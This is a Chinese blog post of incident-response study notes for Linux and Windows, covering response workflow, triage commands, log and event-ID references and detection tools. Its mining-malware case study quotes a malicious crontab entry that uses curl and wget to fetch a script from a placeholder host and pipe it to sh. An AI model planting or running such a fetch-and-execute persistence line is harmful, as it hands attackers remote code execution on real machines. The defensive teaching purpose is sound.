Linux&Windows应急响应学习笔记

Linux&Windows应急响应学习笔记

应急响应流程

事件判断:判断是否是安全事件,勒索、挖矿、断网、DDos等

临时处置:给出客户临时处置建议,断网隔离。保护现场环境

信息分析收集:收集客户信息和中毒主机信息,包括样本,日志分析、进程分析、启动项分析。

清理处置:直接杀掉进程,删除文件,打补丁,修复文件

产出报告:整理并输出完整的安全事件报告

应急前沟通

1.现场现象是什么?如何发现的?依据?
根据不同的现象进行应急
2.什么时候发现的?
查找对应时间日志
3.目前是否有做物理隔离
未做隔离有可能攻击者在内网中进行横向
4.受害机器是哪个
5.受害服务有几台
6.最先发现的是哪台
通过最先发现的进行溯源,便于找到攻击的入口点
7.服务器对外提供的服务
如果是对外提供的服务,可以通过服务点进行排查;纯内网可能是作为跳板机
8.这台服务器与其他收到攻击的机器是否处于同一内网
不同内网就可能存在跨网段攻击,以便获取到攻击者的对内网的掌握情况
9.操作系统类型?是否有公网映射业务?远程管理方式?网络边界有没有流量监控设备?主机测是否有EDR等安全设备
远程管理是通过堡垒机、EDP还是ssh。通过流量监控等设备进行未知攻击发现。椒图属于HIDS,360天擎终端检测与响应系统属于EDR

应急要点:了解常见端口的攻击手法

干货|常见端口渗透总结 - 知乎 (zhihu.com)

攻击者常用的web漏洞

image-20230724002530883

攻击者常用的组件漏洞

image-20230724002603024

应急响应处置思路

攻击者漏洞利用

外网扫描
利用漏洞扫描器进行扫描
xray AWVS SQLMAP ...

漏洞利用

一些高危漏洞,比如Shiro、Struts2、等反序列化命令执行

主机控制

上传webshell、反弹shell、远控程序
CobaltStrike
metaspolit

横向渗透

上传黑客内网扫描工具、利用内网主机作为跳板攻击其他机器
CobaltStrike
Metasploit
应急响应
找到webshell
确定攻击IP
回溯攻击者操作
梳理攻击过程

实战情况下的应急响应——web攻击事件

相关表现:页面被篡改、恶意推广、黑词黑页、webshell

相关危害:导致搜索引擎告警、微信等app分享警告、首页敏感内容、拖库、内网沦陷等

排查要点:

能否在多环境下复现异常现象
原因:不一定是服务器遭受攻击,有可能是链路遭到纂改、运营商dns异常
特定的ua头可能出现问题可能是链路遭到劫持

当确定服务器遭受攻击时,对恶意文件进行排查

操作要点:备份文件,webshell后门查杀;web日志分析;web中间件缓存处理;web中间件配置文件检查

防护措施:加固相关web应用,修改相关系统的所有用户密码

实战情况下的应急响应——链路劫持

相关表现:区域性服务不可用或返回异常内容

相关危害:导致搜索引擎告警、微信等app分享警告、首页敏感内容

排查要点:能否在多环境下复现异常现象

操作要点:跨地区、运营商进行测试,确定影响范围;在能复现的环境中判断是DNS劫持还是HTTP劫持

防护措施:重要业务部署https

实战情况下的应急响应——代理隧道

相关表现:持续性或间断性的外连行为,通常为tcp协议;对内网多个主机有访问行为

相关危害:作为跳板级攻击其他内网资产

排查要点:确定存在代理隧道的跳板机,通常为某时间段内集中访问内网多种资源的机器;判断隧道类型

防护措施:完善内网acl,服务器按业务需要通过白名单策略访问内网

实战情况下的应急响应——替换系统命令

相关表现:无明显表现

相关危害:将后门、木马持久化在系统中;窃取账号、密码等重要凭证

排查要点:使用包管理自带的包校验更能验证文件完整性;分析恶意文件行为,确定应影响面

操作要点:使用静态链接busybox;重新安装被替换的包

实战情况下的应急响应——ld.so.preload动态链接库劫持

相关表现:无明显表现

相关危害:将后门、木马持久化在系统中;窃取账号、密码等重要凭证

排查要点:检查/etc/ld.so.preload,ld.so(/lib/x86_64-linux-gnu/ld-2.27.so)

操作要点:使用静态链接busybox;重启被注入恶意模块的进程,必要时重启系统

实战情况下的应急响应——内核态rootkit

相关表现:无明显表现

相关危害:将后门、木马持久化在系统中;隐藏文件、进程等信息

排查要点:确定是否存在无法使用常规命令查看的文件、进程

操作要点:使用tyton内核态检测工具检测;检查/etc/modules是否有未知的内核模块

实战情况下的应急响应——计划任务

相关表现:特定事件间隔触发木马、后门、网络链接、DNS请求、篡改页面等行为

相关危害:将后门、木马持久化在系统中;周期性篡改页面、拉取数据

排查要点:判断是否周期性出现异常现象,检查/var/spool/crom/crontabs/,/etc/cron.*等常用计划任务配置文件

操作要点:停止计划任务服务后在操作;注意辨别利用\r回车符的障眼法小技巧

实战情况下的应急响应——远控木马

相关表现:有持续性或间断性的对外网络链接或DNS请求等通信行为

相关危害:窃取系统资料、作为跳板进一步攻击内网其他机器

排查要点:关注tcp、udp、icmp等一切网络行为,检查注册表、服务、开机目录、计划任务等一系列常见的持久化点

操作要点:检查网络连接,以及ids设备上的异常远控告警

Linux应急响应

关键目录

文件名 说明
/etc/passwd 用户信息文件
/etc/rc.d/rc.local 开启启动项
/root/.ssh root用户ssh公钥和私钥
/tmp 系统或用户临时文件的目录
/etc/hosts 本地ip地址域名解析文件
/etc/init.d 开机启动项

常用命令

查看当前目录下所有文件并排序:

ls -alt

查看系统内存使用情况

free -h

image-20230724220551081

查看系统进程及子进程

ps auxf

image-20230724220653084

查看系统进程及其占用率

top	

查看网络连接

netstat -anptl

查看对应pid进程可执行程序

ls -alh /proc/[pid]

image-20230724220902439

查询端口打开的文件:lsof -i:port

查询进程打开的文件:lsof -p pid

查询用户打开的文件:lsof -u root

修改文件属性:chattr

显示文件属性:lsattr

示例
一恶意文件名为3d4x

# lsattr 3d4x
-------------e-- 3d4x
# chattr +i 3d4x
# lsattr 3d4x
----i--------e-- 3d4x
# id
uid=0(root) gid=0(root) group=0(root)
# rm -rf 3d4x
rm: cannot remove '3d4x':Operation not permitted

排查启动项

cat /etc/rc.local
ls -alt /etc/profile.d/*.sh

查找符合条件的字符串:grep

查看定时任务

for u in `cat /etc/passwd | cut -d":" -f1`;do crontab -l -u $u;done  #查看所有用户的定时任务
more /etc/crontab
more /etc/cron.d/*
more /etc/cron.daily/*
more /etc/cron.hourly/*
more /etc/cron.monthly/*
more /etc/cron.weekly/*
more /etc/anacrontab
more /var/spool/anacron/*

查看历史命令

history
cat ~/.bash_history

校验rpm软件包

rpm -Va
dpkg -verify

查找当前目录下,指定天数修改的指定类型文件:

find / -mtime 0 -name *.jsp #一天以内修改的jsp文件

查找当前目录下,指定天数添加的指定类型文件:

find / -ctime 0 -name *.jsp #一天以内创建的jsp文件

比较文件差异:diff -c

查看隐藏进程

ps -ef |awk '{print $2}' | sort -n | uniq > ps.q
ls /proc | sort -n |uniq >proc.p
diff ps.p proc.p
比较两个文件中的进程号,来查找隐藏进程

查看用户登录历史记录:last

查看用户登录失败记录:lastb

查看用户最近一次登录记录:lastlog

日志分析

Linux日志类型大致可以分为三大类,内核和系统日志、用户日志、应用日志

内核和系统日志:这种日志主要由syslog管理、根据其配置文件/etc/syslog.conf中的设置决定内核消息和各种系统程序信息记录到哪个位置

用户日志:用户日志主要记录系统用户登录或者登出的信息,包括用户名账号、登录时间、源IP等

应用日志:记录应用程序运行过程中的各种事件信息

日志文件 说明
/var/log/messages 系统重要日志
/var/log/secure 记录验证和授权方面的信息,例如ssh登录、su切换用户、添加用户
/var/log/maillog 记录系统运行电子邮件服务器的日志
/var/log/cron 记录系统定时任务相关日志
/var/log/boot.log 记录系统启动时候的日志,包括自启动的服务
/var/log/dmesg 记录内核缓冲信息
/var/log/bmtp 记录所有登录失败的日志
/var/log/wtmp 用户每次登录进入和退出的事件永久记录
/var/log/lastlog 记录所有用户的最近信息

应急工具

BusyBox 使用静态链接库执行命令

Unhide一款检测发现哪些借助rootkit及其他技术隐藏的进程和TCP/UDP端口的命令行工具

https://www.chkrootkit.org/ Linux下检测rootkit的脚本

https://www.shellpub.com/ 河马webshell查杀工具

GitHub - c0ny1/java-memshell-scanner: 通过jsp脚本扫描java web Filter/Servlet型内存马

watchDogs应急响应案例

某单位内网大量linux主机CPU资源被占满,并且存在扩散趋势。现场分析人员执行以下操作

1.通过top命令查看,并未发现进程大量消耗CPU
2.执行netstat命令提示无此命令
3.执行crontab -l,发现存在一条curl任务
*/10 * * * * (curl -fsSL https://xxxxx.com/xxxx|wget -q -O- https://xxxxx.com/xxxx)|sh
从该地址下载sh文件
4.ldd命令发现系统主要命令都被注入可疑的so文件
# ldd /bin/ps
...
/usr/loacl/lib/libioset.so (0x00007f1f8404d000)3
...
由于命令都被注入了libioset.so,该文件会把挖矿进程、挖矿文件进行隐藏,所以ls命令无法显示/usr/local/lib/下存在lisioset.so文件。使用busybox可以进行正常处理

Windows应急响应

常用命令

命令 说明
regedit 注册表
Taskmar 任务管理器
Msconfig 系统配置
eventvwr.msc 事件查看器
compmgmt.msc 计算机管理(本地用户和组)
gpedit.msc 本地组策略
taskschd.msc 计划任务
lusrmgr.msc 本地用户和组

获取本机用户列表:net user

本机管理员:net localgroup adminstrarots

查看当前会话:net session

查看当前运行的服务:net start

远程连接:net use

查看当前用户下的共享目录:net share

最近打开的文件:%UserProfile\Recent %APPDATA%\Microsoft\Windows\Recent

查找文件中的字符串:findstr /m /i /s "hello" *.txt

查看网络连接netstat -ano

操作系统详细配置信息systeminfo

获取系统进程信息:Wmic process

根据应用程序查找PID:wmic process where name = "cmd.exe" get processid,executablepath,name

根据PID查找用户程序:wmic process where processid="4296" get executablepath,name

获取系统进程信息:tasklist

对于要查询特定dll的调用情况,可以使用tasklist /m dll名称

敏感目录

%WINDIR%

%WINDIR%\sysytem32\

%TEMP%

%LOCALAPPDATA%

%APPDATA%

日志分析

三类日志:系统日志、安全日志、应用程序日志

系统日志主要记录了一些系统组件产生的事件,包括驱动程序产生的信息、系统组件产生的信息和应用程序崩溃的信息以及一些数据丢失情况的信息

默认位置:%SystemRoot%\system32\winevt\Logs\System.evtx

系统启动:事件ID 12

事件日志服务已启动:事件ID 6005

事件日志服务已停止:事件ID 6006

系统关闭:事件ID 13

安全日志主要记录了一些与系统安全相关的事件。这种日志类ing主要是记录了用户登入登出的事件、系统资源使用情况以及系统策略的更改事件,如果要查看安全日志信息,造作元必须具有系统管理员的权限

默认位置:%SystemRoot%\system32\winevt\Logs\Security.evtx

事件ID 说明
1102 清理审计日志
4624 账号成功登录
4625 账号登录失败
4768 Kerberos身份验证(TGT请求)
4769 Kerberos服务票证请求
4776 NTLM身份验证
4672 授予特殊权限
4720 创建用户
4726 删除用户
4728 将成员添加到启用安全的全局组中
4729 将成员从安全的全局组中移除
4732 将成员添加到启用安全的本地组中
4733 将成员从安全的本地组中移除
4756 将成员添加到启用安全的通用组中
4757 将成员从启用安全的通用组中移除
4719 系统审计策略修改

登录日志类型

logon Type

登录类型 描述
2 交互式登录(用户从控制台登录)
3 网络(例如:通过net use,访问共享网络)永恒之蓝登录类型
4 批处理(为批处理程序保留)
5 服务启动(服务登录)
6 不支持
7 解锁(带密码保护的屏幕保护程序的无人值班工作站)
8 网络明文(IIS服务器登陆验证)
10 远程交互(终端服务,远程桌面,远程辅助)
11 缓存域证书登录

应急工具

PChunter

火绒剑

Autoruns https://download.sysinternals.com/files/Autoruns.zip

Process Monitor

Network monitor Download Microsoft Network Monitor 3.4 (archive) from Official Microsoft Download Center

sysmon

beaconEye GitHub - CCob/BeaconEye: Hunts out CobaltStrike beacons and logs operator command output

posted @ 2023-07-25 21:36  Saku1a  阅读(474)  评论(0)    收藏  举报